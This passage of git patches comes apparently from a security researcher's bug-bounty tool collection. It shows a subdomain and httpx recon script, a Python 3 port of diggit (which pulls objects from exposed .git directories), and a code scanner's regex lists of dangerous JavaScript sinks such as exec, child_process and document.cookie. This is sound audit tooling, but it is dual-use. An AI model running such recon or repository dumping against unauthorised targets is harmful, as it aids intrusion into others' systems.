subdomains - cat sub* > step1 - sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > subdomains_final.log - rm -f step* - - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -rl 20 -exclude-cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log - - END_TIME=$(date) - echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/httpx.log - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -746,9 +709,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - scope) - scope "$2" - ;; peek) peek "$2" ;; @@ -875,8 +835,7 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 4b60093bf8b40b4bc232be162a552b3888d895e5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 4 Aug 2024 12:39:14 +0100 Subject: [PATCH 422/460] [s0mbra] Show only 200 OK in httpx output log --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e4f15d2..d9689de 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,7 +234,7 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" From ee5cc1a548143d9d656afaaad217cd81cdd35e09 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 4 Aug 2024 13:39:18 +0100 Subject: [PATCH 423/460] [s0mbra] webservers to enumerate existing subdomains file to find 200 OK --- s0mbra.sh | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index d9689de..a915a8a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -251,6 +251,26 @@ peek() { osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' } + +# httpx only list +webservers() { + START_TIME=$(date) + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l subdomains_final.log -o httpx.log + + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -rf httpx* + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' +} + # does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) recon() { @@ -712,6 +732,9 @@ case "$cmd" in peek) peek "$2" ;; + webservers) + webservers + ;; recon) recon "$2" "$3" "$4" ;; @@ -836,6 +859,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN webservers $GRAY(uses subdomains_final.log in cwd)$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From ec984bd137d62267789f049990259d6d275795c0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 5 Aug 2024 02:08:12 +0100 Subject: [PATCH 424/460] [s0mbra] webservers to enumerate existing subdomains file to find 200 OK --- s0mbra.sh | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a915a8a..f9bfaec 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -254,19 +254,20 @@ peek() { # httpx only list webservers() { + if [[ -z $1 ]]; then + SUBDOMAINS="subdomains_final.log" + elif [[ -n $1 ]]; then + SUBDOMAINS="$1" + fi START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l subdomains_final.log -o httpx.log - - # cleanup - echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -rf httpx* + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $(pwd)/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' } @@ -733,7 +734,7 @@ case "$cmd" in peek "$2" ;; webservers) - webservers + webservers "$2" ;; recon) recon "$2" "$3" "$4" @@ -859,7 +860,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN webservers $GRAY(uses subdomains_final.log in cwd)$CLR" + echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From ecf8d5b78526e668a489a98786d2cfd2ecb375b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:41:32 +0100 Subject: [PATCH 425/460] [diggit] Refactor to Python 3 syntax --- .pylintrc | 407 --------------------------------- .vscode/.ropeproject/config.py | 100 -------- .vscode/.ropeproject/objectdb | Bin 1646 -> 0 bytes diggit/{src => }/diggit.py | 34 ++- 4 files changed, 16 insertions(+), 525 deletions(-) delete mode 100644 .pylintrc delete mode 100644 .vscode/.ropeproject/config.py delete mode 100644 .vscode/.ropeproject/objectdb rename diggit/{src => }/diggit.py (82%) diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 7b7a555..0000000 --- a/.pylintrc +++ /dev/null @@ -1,407 +0,0 @@ -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -#init-hook= - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore=CVS - -# Add files or directories matching the regex patterns to the blacklist. The -# regex matches against base names, not paths. -ignore-patterns= - -# Pickle collected data for later comparisons. -persistent=yes - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. This option is deprecated -# and it will be removed in Pylint 2.0. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time (only on the command line, not in the configuration file where -# it should appear only once). See also the "--disable" option for examples. -#enable= - -# Disable the message, report, category or checker with the given id(s). You -# can either give multiple identifiers separated by comma (,) or put this -# option multiple times (only on the command line, not in the configuration -# file where it should appear only once).You can also use "--disable=all" to -# disable everything first and then reenable specific checks. For example, if -# you want to run only the similarities checker, you can use "--disable=all -# --enable=similarities". If you want to run only the classes checker, but have -# no Warning level messages displayed, use"--disable=all --enable=classes -# --disable=W" -disable=import-star-module-level,old-octal-literal,oct-method,print-statement,unpacking-in-except,parameter-unpacking,backtick,old-raise-syntax,old-ne-operator,long-suffix,dict-view-method,dict-iter-method,metaclass-assignment,next-method-called,raising-string,indexing-exception,raw_input-builtin,long-builtin,file-builtin,execfile-builtin,coerce-builtin,cmp-builtin,buffer-builtin,basestring-builtin,apply-builtin,filter-builtin-not-iterating,using-cmp-argument,useless-suppression,range-builtin-not-iterating,suppressed-message,no-absolute-import,old-division,cmp-method,reload-builtin,zip-builtin-not-iterating,intern-builtin,unichr-builtin,reduce-builtin,standarderror-builtin,unicode-builtin,xrange-builtin,coerce-method,delslice-method,getslice-method,setslice-method,input-builtin,round-builtin,hex-method,nonzero-method,map-builtin-not-iterating - - -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=text - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". This option is deprecated -# and it will be removed in Pylint 2.0. -files-output=no - -# Tells whether to display a full report or only the messages -reports=yes - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[BASIC] - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# List of decorators that produce properties, such as abc.abstractproperty. Add -# to this list to register other decorators that produce valid properties. -property-classes=abc.abstractproperty - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules= - -# List of class names for which member attributes should not be checked (useful -# for classes with dynamically set attributes). This supports the use of -# qualified names. -ignored-classes=optparse.Values,thread._local,_thread._local - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - -# List of decorators that produce context managers, such as -# contextlib.contextmanager. Add to this list to register other decorators that -# produce valid context managers. -contextmanager-decorators=contextlib.contextmanager - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=(_+[a-zA-Z0-9]*?$)|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - -# List of qualified module names which can have objects that can redefine -# builtins. -redefining-builtins-modules=six.moves,future.builtins - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - -# Force import order to recognize a module as part of the standard -# compatibility libraries. -known-standard-library= - -# Force import order to recognize a module as part of a third party library. -known-third-party=enchant - -# Analyse import fallback blocks. This can be used to support both Python 2 and -# 3 compatible code, which means that the block might have code that exists -# only in one or another interpreter, leading to false positives when analysed. -analyse-fallback-blocks=no - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/.vscode/.ropeproject/config.py b/.vscode/.ropeproject/config.py deleted file mode 100644 index d1e8f3d..0000000 --- a/.vscode/.ropeproject/config.py +++ /dev/null @@ -1,100 +0,0 @@ -# The default ``config.py`` -# flake8: noqa - - -def set_prefs(prefs): - """This function is called before opening the project""" - - # Specify which files and folders to ignore in the project. - # Changes to ignored resources are not added to the history and - # VCSs. Also they are not returned in `Project.get_files()`. - # Note that ``?`` and ``*`` match all characters but slashes. - # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' - # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' - # '.svn': matches 'pkg/.svn' and all of its children - # 'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' - # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' - prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', - '.hg', '.svn', '_svn', '.git', '.tox'] - - # Specifies which files should be considered python files. It is - # useful when you have scripts inside your project. Only files - # ending with ``.py`` are considered to be python files by - # default. - #prefs['python_files'] = ['*.py'] - - # Custom source folders: By default rope searches the project - # for finding source folders (folders that should be searched - # for finding modules). You can add paths to that list. Note - # that rope guesses project source folders correctly most of the - # time; use this if you have any problems. - # The folders should be relative to project root and use '/' for - # separating folders regardless of the platform rope is running on. - # 'src/my_source_folder' for instance. - #prefs.add('source_folders', 'src') - - # You can extend python path for looking up modules - #prefs.add('python_path', '~/python/') - - # Should rope save object information or not. - prefs['save_objectdb'] = True - prefs['compress_objectdb'] = False - - # If `True`, rope analyzes each module when it is being saved. - prefs['automatic_soa'] = True - # The depth of calls to follow in static object analysis - prefs['soa_followed_calls'] = 0 - - # If `False` when running modules or unit tests "dynamic object - # analysis" is turned off. This makes them much faster. - prefs['perform_doa'] = True - - # Rope can check the validity of its object DB when running. - prefs['validate_objectdb'] = True - - # How many undos to hold? - prefs['max_history_items'] = 32 - - # Shows whether to save history across sessions. - prefs['save_history'] = True - prefs['compress_history'] = False - - # Set the number spaces used for indenting. According to - # :PEP:`8`, it is best to use 4 spaces. Since most of rope's - # unit-tests use 4 spaces it is more reliable, too. - prefs['indent_size'] = 4 - - # Builtin and c-extension modules that are allowed to be imported - # and inspected by rope. - prefs['extension_modules'] = [] - - # Add all standard c-extensions to extension_modules list. - prefs['import_dynload_stdmods'] = True - - # If `True` modules with syntax errors are considered to be empty. - # The default value is `False`; When `False` syntax errors raise - # `rope.base.exceptions.ModuleSyntaxError` exception. - prefs['ignore_syntax_errors'] = False - - # If `True`, rope ignores unresolvable imports. Otherwise, they - # appear in the importing namespace. - prefs['ignore_bad_imports'] = False - - # If `True`, rope will insert new module imports as - # `from import ` by default. - prefs['prefer_module_from_imports'] = False - - # If `True`, rope will transform a comma list of imports into - # multiple separate import statements when organizing - # imports. - prefs['split_imports'] = False - - # If `True`, rope will sort imports alphabetically by module name - # instead of alphabetically by import statement, with from imports - # after normal imports. - prefs['sort_imports_alphabetically'] = False - - -def project_opened(project): - """This function is called after opening the project""" - # Do whatever you like here! diff --git a/.vscode/.ropeproject/objectdb b/.vscode/.ropeproject/objectdb deleted file mode 100644 index a1fd398f255f2fc48df49c99917d2a41fba552db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1646 zcmb`HNq5sQ0ED3lI0=+cwz9TBSzMqtl%?!tErha^1hIp$9iy=$dhmO2i2S#) zv%K`eseZc6K{NAd>^~C;cIafqWI>mjk=?O9EC^z z#&)B3gEsXspio-0AeI&uO&a#lKn&K#%WQ7Jf z#xnck3Ma;7P7cVNQkY>g`dFVOlD zo;svH>N(o`vwq9x30Cyt{a@t%FBKa3dWYZps~%R_e~-lLq6hRQAJAKccNv5=h4&7b z9zh5r8rl)HMlhOv7_9^!if2J`79SNp72WSM(VBz*G`^(xs_;$Wd(kF8NPTSpt35LN QnZi=|l~J`794C&Ae`AYL#Q*>R diff --git a/diggit/src/diggit.py b/diggit/diggit.py similarity index 82% rename from diggit/src/diggit.py rename to diggit/diggit.py index ea52f3a..d682b06 100755 --- a/diggit/src/diggit.py +++ b/diggit/diggit.py @@ -1,7 +1,5 @@ #!/usr/bin/python -# -# bl4de | | https://twitter.com/_bl4de -# +## # diggit - gets .git repository import argparse import os @@ -32,29 +30,28 @@ def print_banner(): def print_object_details(objtype, objcontent, objhash, objfilename): """Prints and saves object details/content""" - print "\n" + term["cyan"] + "#" * 12 + " " + objhash \ - + " information " + "#" * 12 + term["endl"] - print "\n{0}[*] Object type: {3}{2}{1}{3}".format( - term["green"], objtype, term["red"], term["endl"]) - + print("\n" + term["cyan"] + "#" * 12 + " " + objhash + + " information " + "#" * 12 + term["endl"]) + print("\n{0}[*] Object type: {3}{2}{1}{3}".format( + term["green"], objtype, term["red"], term["endl"])) if objfilename != "": global localgitrepo tmpfp = localgitrepo + "/" + objfilename - print "{0}[*] Object filename: {3}{2}{1}{3}".format( - term["green"], objfilename, term["red"], term["endl"]) - print "{0}[*] Object saved in {2}:{1}".format( - term["green"], term["endl"], tmpfp) + print("{0}[*] Object filename: {3}{2}{1}{3}".format( + term["green"], objfilename, term["red"], term["endl"])) + print("{0}[*] Object saved in {2}:{1}".format( + term["green"], term["endl"], tmpfp)) tmpfile = open(tmpfp, "w") tmpfile.write("// diggit.py by @bl4de | {} content\n".format(objhash)) tmpfile.writelines(objcontent) tmpfile.close() - print "{0}[*] Object content:{1}\n".format(term["green"], term["endl"]) + print("{0}[*] Object content:{1}\n".format(term["green"], term["endl"])) if len(objcontent) < 2048: - print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + print("{0}{1}{2}".format(term["yellow"], objcontent, term["endl"])) else: - print "{}[!] file too big to preview - {} kB{}".format( - term["red"], len(objcontent)/1024, term["endl"]) + print("{}[!] file too big to preview - {} kB{}".format( + term["red"], len(objcontent)/1024, term["endl"])) def get_object_url(objhash): @@ -115,7 +112,8 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): parser.add_argument('-t', help='path to temporary Git folder on local machine') parser.add_argument('-o', help='object hash (SHA-1, all 40 characters)') - parser.add_argument('-r', default=False, + parser.add_argument('-r', + action="store_true", help='be recursive (if commit or tree hash ' 'found get all blobs too). Default is \'False\'') @@ -136,4 +134,4 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): if baseurl and objecthash: print_banner() save_git_object(args.u, args.o, berecursive, "") - print "\n" + term["cyan"] + "#" * 78 + term["endl"] + print("\n" + term["cyan"] + "#" * 78 + term["endl"]) From 07cd00cc32c9731ac687716d5eb4883e0d5c1209 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:47:17 +0100 Subject: [PATCH 426/460] [nodestructor] Fix Python 3.12 related errors --- nodestructor/nodestructor.py | 270 +++++++++++++++++------------------ 1 file changed, 135 insertions(+), 135 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 1a4d9cd..19438b2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -46,144 +46,144 @@ """ nodejs_patterns = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*exec\(", - ".*execSync\(", - ".*execFile\(", - ".*execFileSync\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*\sFunction\(", - ".*spawn\(", - ".*fork\(", - "\.shell", - "\.env", - "\.exitCode", - "\.pid", - ".*newBuffer\(", - ".*\.constructor\(", - ".*mysql\.createConnection\(", - ".*\.query\(", - ".*serialize\(", - ".*unserialize\(", - ".*__proto__" + r".*url.parse\(", + r".*[pP]ath.normalize\(", + r".*fs.*File.*\(", + r".*fs.*Read.*\(", + r".*pipe\(res", + r".*bodyParser\(", + r".*eval\(", + r".*exec\(", + r".*execSync\(", + r".*execFile\(", + r".*execFileSync\(", + r".*res.write\(", + r".*child_process", + r".*child_process.exec\(", + r".*\sFunction\(", + r".*spawn\(", + r".*fork\(", + r"\.shell", + r"\.env", + r"\.exitCode", + r"\.pid", + r".*newBuffer\(", + r".*\.constructor\(", + r".*mysql\.createConnection\(", + r".*\.query\(", + r".*serialize\(", + r".*unserialize\(", + r".*__proto__" ] -browser_patterns = [ - ".*urlsearchParams\(", - ".*innerHTML", - ".*innerText", - ".*textContent", - ".*outerHTML", - ".*appendChild\(", - ".*document.write\(", - ".*document.writeln\(", - ".*document.location", - ".*document.URL", - ".*document.documentURI", - ".*document.URLUnencoded", - ".*document.baseURI", - ".*document.referrer", - ".*location.href", - ".*location.search", - ".*location.hash", - ".*location.host", - ".*location.pathname", - ".*document.cookie", - ".*history.pushState\(", - ".*history.replaceState\(", - ".*navigator.userAgent", - ".*window.open\(", - ".*postMessage\(", - ".*.addEventListener\(['\"]message['\"]", - ".*.ajax\(", - ".*.getJSON\(", - ".*\$http\(", - ".*navigator.sendBeacon\(", - ".*\.add\(", - ".*\.append\(", - ".*\.after\(", - ".*\.before\(", - ".*\.html\(", - ".*\.prepend\(", - ".*\.replaceWith\(", - ".*\.wrap\(", - ".*\.wrapAll\(", - ".*\.dangerouslySetInnerHTML", - ".*\.bypassSecurityTrust.*", - ".*localStorage\.", - ".*sessionStorage\.", - ".*\$sce\.trustAsHtml\(", - ".*\.load\(", - ".*jQuery\.ajax\(", - ".*parseHTML", - ".*wrap.*\(", - ".*html\(", - ".*before\(", - ".*after\(", - ".*insertBefore\(", - ".*insertAfter\(", - ".*prepend", - ".*setContent\(", - ".*setHTML\(", - ".*\.SafeString\(", - ".*globalEval", - ".*execScript", - ".*insertAdjacentHTML\(", - ".*setAttribute.on", - ".*xhr.open", - ".*xhr.send", - "fetch", - ".*xhr.setRequestHeader.name", - ".*xhr.setRequestHeader.value", - ".*attr.href", - ".*attr.src", - ".*attr.data", - 